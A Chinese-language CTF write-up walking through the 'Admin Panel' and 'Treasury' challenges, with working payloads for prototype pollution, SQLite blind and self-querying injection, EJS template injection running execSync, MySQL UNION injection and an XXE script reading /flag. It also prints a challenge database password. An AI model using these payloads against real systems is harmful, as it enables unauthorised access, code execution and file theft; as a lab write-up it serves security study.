# Admin Panel (sqlite 自查询,原型链污染,ejs 注入)

# 知识点

  • 原型链污染
  • sqlite 注入
  • SSTI

# 源码

app.js

image-20220204175020741

main.js

module.exports = function(app, db, fs){
    app.get('/', function(req, res){
        res.render('index.html')
    });
    app.post('/login', function(req, res){
        var user = {};
        var tmp = req.body;
        var row;
        // 将密码的 \  、  '  、  -  、  # 替换为空 
        if(typeof tmp.pw !== "undefined"){
            tmp.pw = tmp.pw.replace(/\\/gi,'').replace(/\'/gi,'').replace(/-/gi,'').replace(/#/gi,'');
        }
        // 遍历 tmp,将 tmp 的内容
        for(var key in tmp){
            user[key] = tmp[key];
        }
        if(req.connection.remoteAddress !== '::ffff:127.0.0.1' && tmp.id === 'admin' || typeof user.id === "undefined"){
            user.id = 'guest';
        }
        req.session.user = user.id;
        // 如果 user.pw 存在
        if(typeof user.pw !== "undefined"){
            // 之后会带着 pw 进行一个 sql 查询,这里或许可能造成注入
            row = db.prepare(`select pw from users where id='admin' and pw='${user.pw}'`).get();
            if(typeof row !== "undefined"){
                // 如果查询到的和输入的相等,那么久成功注入
                req.session.isAdmin = (row.pw === user.pw);
            }else{
                req.session.isAdmin = false;
            }
            if(req.session.isAdmin && req.session.user === 'admin'){
                res.statusCode = 302;
                res.setHeader('Location','admin');
                res.end();
            }else{
                res.end("Access Denied!");
            }
        }else{
            res.end("No password given.");
        }
    });
    app.get('/admin', function(req, res){
        if(typeof req.session.isAdmin !== "undefined" && req.session.isAdmin && req.session.user === 'admin'){
            if(typeof req.query.test !== "undefined"){
                res.render(req.query.test);
            }else{
                res.render("admin.html");
            }
        }else{
            res.end("Access Denied!");
        }
    });
    app.post('/upload', function(req, res){
        if(typeof req.session.isAdmin !== "undefined" && req.session.isAdmin && req.session.user === 'admin'){
            if(typeof req.body.name !== "undefined" && typeof req.body.file !== "undefined"){
                var fname = req.body.name;
                var dir = './views/upload/'+req.session.id;
                var contents = req.body.file;
                !fs.existsSync(dir) && fs.mkdirSync(dir);
                fs.writeFileSync(dir+'/'+fname, contents);
                res.end("Done.");
            }else{
                res.end("Something's wrong");
            }
        }else{
            res.end("Permission Denied!");
        }
    });
}

# 代码审计

我们来看看登录函数

image-20220204175142378

image-20220204175320012

一段一段看

image-20220204175350279

这里将返回的密码中的  / \ | ' | - | # /替换为空

image-20220204175512115

这里遍历tmp,将tmp内容替换为空

image-20220204175523555

 if(req.connection.remoteAddress !== '::ffff:127.0.0.1' && tmp.id === 'admin' || typeof user.id === "undefined"){
            user.id = 'guest';
        }
        req.session.user = user.id;

如果查询不是从本地出发的 admin,那么都会替换为 guest

image-20220204175912000

如果输入的和查询的相同,那么session为admin。如果session为admin并且user为admin,那么就能跳转到下一步

# step1 原型链污染

image-20220204180130323

  • 已知我们要到下一步就必须要成为 admin,但是首先这一步就会将 admin 替换为 guest

漏洞在这里

image-20220204180307782

如果我们直接让 user.id 为 admin,pw 有一个值,那么就可以绕过这个 guest 和进入下面的 sqlite 注入,我们构造

// var tmp = { "__proto__" : {"id" : "admin" , "pw" : "miku"} }

image-20220204182542685

image-20220204182554467

当然,现在就已经能够成功伪造 user.id 成 admin 了,设置 user.id 为 guest 的 if 并没有进入,而且直接进入了执行 SQL 的操作,第一步原型链污染来伪造 id 为 admin 就做完了。

# step2 sqlite 注入 (时间盲注)

然而,想要成为 admin 还需要设置 session.isAdminTrue ,这需要进行 sql 操作:

row = db.prepare(`select pw from users where id='admin' and pw='${user.pw}'`).get();
if(typeof row !== "undefined"){
    req.session.isAdmin = (row.pw === user.pw);
}

由题目代码 const db = require('better-sqlite3')('./db.db', {readonly: true}); 可知题目使用的是 sqlite 数据库

上面已经 bypass 了 replace() 的 waf,现在就可以实现 sql 注入了,因为想要让输入的 pw 和 sql 查询出来的 pw 完全相等实在是太难了。

想要注入实际上也不是很简单,因为只要 sql 语法没出错,回显就一样的:

img

不过我们可以构造时间盲注,如果是时间盲注的话,因为 sqlite 并没有像 mysql 的 sleep() 那样的直接延时函数,我们只能通过让它运算更长时间来达到延时的目的,也就是 Heavy Query 的思路

randomblob( N) 返回一个 N 字节长的包含伪随机字节的 BLOG, N 应该是正整数

img

关于 randomblob() 这个函数,实际上还有更有意思的东西:如果长度 N 过长就会出现 Error

img

这意味着,我们可以通过 randomblob() 来特意构造一个 Error,而题目如果 sql 语句查询出现 Error 是会不同回显的,这样我们就能实现 Bool-Based Blind SQLi 了

img

当然我们必须 “选择性” 触发这个 Error,不然不就全程 Error 的回显了吗,sqlite 在条件语句方面和 PostgreSQL 的语法完全一致,所以我们可以这样构造 payload 来布尔盲注:

{"__proto__": {"id": "admin","pw": "y1ng' union select case when (条件) then (select randomblob(100000000000000)) else 1 end--"}}

但是这个方法也有缺点,比如只有在联合查询时才能选择性触发 Error,如果 union 换成 and 或者 or (当然其他部分也得稍作改动),在这种子句构成的布尔表达式中便不会触发 Error 了。

因为是完全的 Bypass 了 waf,无任何过滤,盲注起来就很方便了, substr() 的用法和 mysql 等数据库完全一致:

img

所以就直接挨个爆破就好了,查询数据也非常方便因为表名什么的都是给了的,也可以参考 Cheat Sheet 里的这个 payload:

and (SELECT hex(substr(tbl_name,1,1)) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' limit 1 offset 0) > hex('some_char')

然而实际上你会发现你什么都跑不出来,并不是 payload 的问题,原因是数据库里本来就是空的!

Error 触发说明条件处的布尔表达式是 True ,进而说明 count(*) from users 为 0,其中 COUNT() 函数是用来计算一个数据库表中的行数

img

文章写到这,实际上这题刚做完了一小半。数据库里没有东西,意味着永远也不可能输入正确的 pw 了,也就是说永远不可能成功伪造成 admin

除非 row.pw === user.pw 返回 True !再次回看代码:

row = db.prepare(`select pw from users where id='admin' and pw='${user.pw}'`).get();
if(typeof row !== "undefined"){
    req.session.isAdmin = (row.pw === user.pw);
}else{
    req.session.isAdmin = false;
}

刚刚我们去尝试往出注密码是因为默认了这个 row.pw === user.pw 根本不可能成立,现在看来必须要想办法让它成立了

需要让 sql 查询结果和 sql 语句完全相等,肯定需要让字符串重复输出,然后利用替换等来满足这个要求。

# step3 sqlite 自查询

Sqlite 没有简单的功能。但是,可以使用 replace(hex(zeroblob(X)),hex(zeroblob(1)),'string') 它将重复 “字符串” X 次。

Payload  :' Union select replace(hex(zeroblob(2)),hex(zeroblob(1)), char(39)||' Union select replace(hex(zeroblob(2)),hex(zeroblob(1)), char(39)||')--

image-20220226172518190

生成的字符串只是一个双重副本。现在也干净地生成最后 4 个字符

Payload  :' Union select replace(hex(zeroblob(2)),hex(zeroblob(1)), char(39)||' Union select replace(hex(zeroblob(2)),hex(zeroblob(1)), char(39)||')||replace(hex(zeroblob(3)),hex(zeroblob(1)),char(39)||')||replace(hex(zeroblob(3)),hex(zeroblob(1)),char(39)||')||replace(hex(zeroblob(3)),hex(zeroblob(1)),char(39)||')--')--')--

image-20220226172704170

现在有了这个我们终于可以成为管理员了

{
	"__proto__":{"pw":"' Union select replace(hex(zeroblob(2)),hex(zeroblob(1)), char(39)||' Union select replace(hex(zeroblob(2)),hex(zeroblob(1)), char(39)||')||replace(hex(zeroblob(3)),hex(zeroblob(1)),char(39)||')||replace(hex(zeroblob(3)),hex(zeroblob(1)),char(39)||')||replace(hex(zeroblob(3)),hex(zeroblob(1)),char(39)||')--')--')--","id":"admin"}
}

现在,终于能够伪造 admin 了,登陆成功就会跳转:

if(req.session.isAdmin && req.session.user === 'admin'){
    res.statusCode = 302;
    res.setHeader('Location','admin');
    res.end();
}

# step4 ejs 模板注入

我们先来看下代码,首先接收一个 test 参数并用来渲染模板,否则是默认的 admin.html

app.get('/admin', function(req, res){
    if(typeof req.session.isAdmin !== "undefined" && req.session.isAdmin && req.session.user === 'admin'){
        if(typeof req.query.test !== "undefined"){
            res.render(req.query.test);
        }else{
            res.render("admin.html");
        }
    }else{
        res.end("Access Denied!");
    }
});

上传则是提供了一个上传功能,使用 session.id 来创建一个目录并把上传的文件存在下面

app.post('/upload', function(req, res){
    if(typeof req.session.isAdmin !== "undefined" && req.session.isAdmin && req.session.user === 'admin'){
        if(typeof req.body.name !== "undefined" && typeof req.body.file !== "undefined"){
            var fname = req.body.name;
            var dir = './views/upload/'+req.session.id;
            var contents = req.body.file;

            !fs.existsSync(dir) && fs.mkdirSync(dir);
            fs.writeFileSync(dir+'/'+fname, contents);
            res.end("Done.");
        }else{
            res.end("Something's wrong");
        }
    }else{
        res.end("Permission Denied!");
    }
});

代码的逻辑非常明显,我们上传 SSTI 的模板文件然后被渲染然后 RCE,注意到题目的如下代码

app.set('view engine', 'ejs');
app.engine('html', require('ejs').renderFile);

ejs 是 js 的一个模板,不懂的可以去看看 EJS 中文文档:

https://ejs.bootcss.com/

虽然网上基本没啥相关 payload,它不像 Jinja2,实际上就直接 Nodejs 的代码执行就好了。payload:

<%- global.process.mainModule.require(‘child_process’).execSync(‘cat app.js’) %>

当然这是通解,本题目因为 flag 存在 app.locals,所以 ejs 渲染时候可以直接读取, <%=flag%> 就可以了

题目没有上传按钮,我们自己本地写个 Form 上传就好了,问题在于它并没有给回显路径

img

分析代码,上传的文件的路径是 './views/upload/' + req.session.id + '/y1ng.html' ,所以这个 session.id 是什么

首先拿出我们的 cookie 并 url 解码, s:. 中间的部分就是 session.id ,至于为什么就要去啃源码,具体的啃源码分析过程建议参考文末的链接 3,

connect.sid=s:7T-DLMSPuGOvFqEdMnCdVHYUjdb3wmxq.ubdBBNsufG1NzrzLwT2Qcizni6z8q4SMcXUHA/HP3F0

带上 test 参数传进去我们上传的模板来渲染导致 RCE 然后读文件即可得到 flag

img

# Treasury 1 (sql + xxe 注入)

  • Javascipt
  • SQL 注入
  • XXE

是一个书店,每个书都有 2 个按钮可以点,AE 点了就弹出一个 Excerpt 窗口,但并没有产生什么新请求,考虑使用了 AJAX

img

HTML 源代码注意到 treasury.js,访问,得到关键代码:

async function anexcerpt(book) {
  const modalEl = document.createElement('div');
  modalEl.style.width = '70%';
  modalEl.style.height = '50%';
  modalEl.style.margin = '100px auto';
  modalEl.style.backgroundColor = '#fff';
  modalEl.className = 'mui-panel';
 
 const header = document.createElement('h2');
  header.appendChild(document.createTextNode("An Excerpt From " + book.name));
  modalEl.appendChild(header);
  const loading = createSpinner(modalEl);
  // show modal
  mui.overlay('on', modalEl);
  const response = await fetch('books.php?type=excerpt&id=' + book.id);
  const bookExcerpt = await response.text();
  const txtHolder = document.createElement('div');
  txtHolder.className = 'mui-textfield mui--z2'
  const txt = document.createElement('textarea');
  txt.appendChild(document.createTextNode(bookExcerpt));
  txt.readOnly = true;
  txt.style.height = "100%";
  txtHolder.appendChild(txt);
  txtHolder.style.height = "70%";
  loading.stop();
  modalEl.appendChild(txtHolder);
}

发现 fetch('books.php?type=excerpt&id=' + book.id); 后面接了 book id,访问测试发现 id 存在 sql 注入。并且使用了 xml, simplexml_load_string() 函数转换形式良好的 XML 字符串为 SimpleXMLElement 对象。

可以得到回显:

img

Table: books
id=1' and 1=2 union select group_concat(table_name) from information_schema.tables where table_schema=database()--+#

Column: id,info
id=1' and 1=2 union select group_concat(column_name) from information_schema.columns where table_schema=database()--+#

之后就查不到更多信息了,说明 flag 不在数据库里。注意到题目使用了 simplexml_load_string() ,我们可以通过构造 XML 来 xxe

id=1'and 1=2 union select '<root><id>1</id><excerpt>abc</excerpt></root>'--+#

回显了 abc,因此可以通过注入 excerpt 字段来 XXE。用 HackBar 测试了一会总是出错,考虑是 URL 编码的问题,用 requests 模块,文件读取

#颖奇L'Amore
import requests as req
from urllib.parse import quote as urlen

HOST = "https://poems.asisctf.com/books.php?type=excerpt&id=1'and 1=2 "
payload = '''union select '<!DOCTYPE excerpt [<!ENTITY xxe SYSTEM "file:///flag">]><root><excerpt>&xxe;</excerpt></root>'-- #'''
payload = urlen(payload)
r = req.get(HOST+payload)
print(r.text)

得到 flag:ASIS

# Treasury 2(sql replace)

xxe + 伪协议得到 books.php 源码

<?php
sleep(1);
function connect_to_database() {
  $link = mysqli_connect("web4-mariadb", "ctfuser", "dhY#OThsdivojq2", "ASISCTF");
  if (!$link) {
    echo "Error: Unable to connect to DB.";
    exit;
  }
  return $link;
}
function fetch_books($condition) {
  $link = connect_to_database();
  if ($condition === "") {
    $where_condition = "";
  } else {
    $where_condition = "WHERE $condition";
  }
  $query = "SELECT info FROM books $where_condition";
  if ($result = mysqli_query($link, $query, MYSQLI_USE_RESULT)) {
    $books_info = array();
    while($row = $result->fetch_array(MYSQLI_NUM)) {
      $books_info[] = (string) $row[0];
    }
    mysqli_free_result($result);
  }
  mysqli_close($link);
  return $books_info;
}
function xml2array($xml) {
  return array(
    'id' => (string) $xml->id,
    'name' => (string) $xml->name,
    'author' => (string) $xml->author,
    'year' => (string) $xml->year,
    'link' => (string) $xml->link
  );
}
function get_all_books() {
  $books = array();
  $books_info = fetch_books("");
  foreach ($books_info as $info) {
    $xml = simplexml_load_string($info, 'SimpleXMLElement', LIBXML_NOENT);
    $books[] = xml2array($xml);
  }
  return $books;
}
function find_book($condition) {
  $book_info = fetch_books($condition)[0];
  $xml = simplexml_load_string($book_info, 'SimpleXMLElement', LIBXML_NOENT);
  return $xml;
}
$type = @$_GET["type"];
if ($type === "list") {
  $books = get_all_books();
  echo json_encode($books);
} elseif ($type === "excerpt") {
  $id = @$_GET["id"];
  $book = find_book("id='$id'");
  $bookExcerpt = $book->excerpt;
  echo $bookExcerpt;
} else {
  echo "Invalid type";
}

# 代码审计

image-20220227114431648

如果传入了condition,那么带着条件进行查询,并且返回查询内容

image-20220227200114723

get_all_books获取book的信息列表

find_book根据condition查找book

image-20220227200210934

flag 并没有在源代码,于是就很想知道到底从数据库中都查询了什么出来,因为题目只是选择性的输出了 <excerpt></excerpt> 的内容。这个考使用 mysql 的替换函数剥去 XML 标签然后显示在 <excerpt></excerpt> 中,即可得到完整内容

img

payload:

union select concat('<root><id>4</id><excerpt>',replace((select group_concat(id,info) from books),'<','?'),'</excerpt></root>')-- #

image-20220227200920524

image-20220227200941406

img

请我喝[茶]~( ̄▽ ̄)~*

miku233 微信支付

微信支付

miku233 支付宝

支付宝

miku233 贝宝

贝宝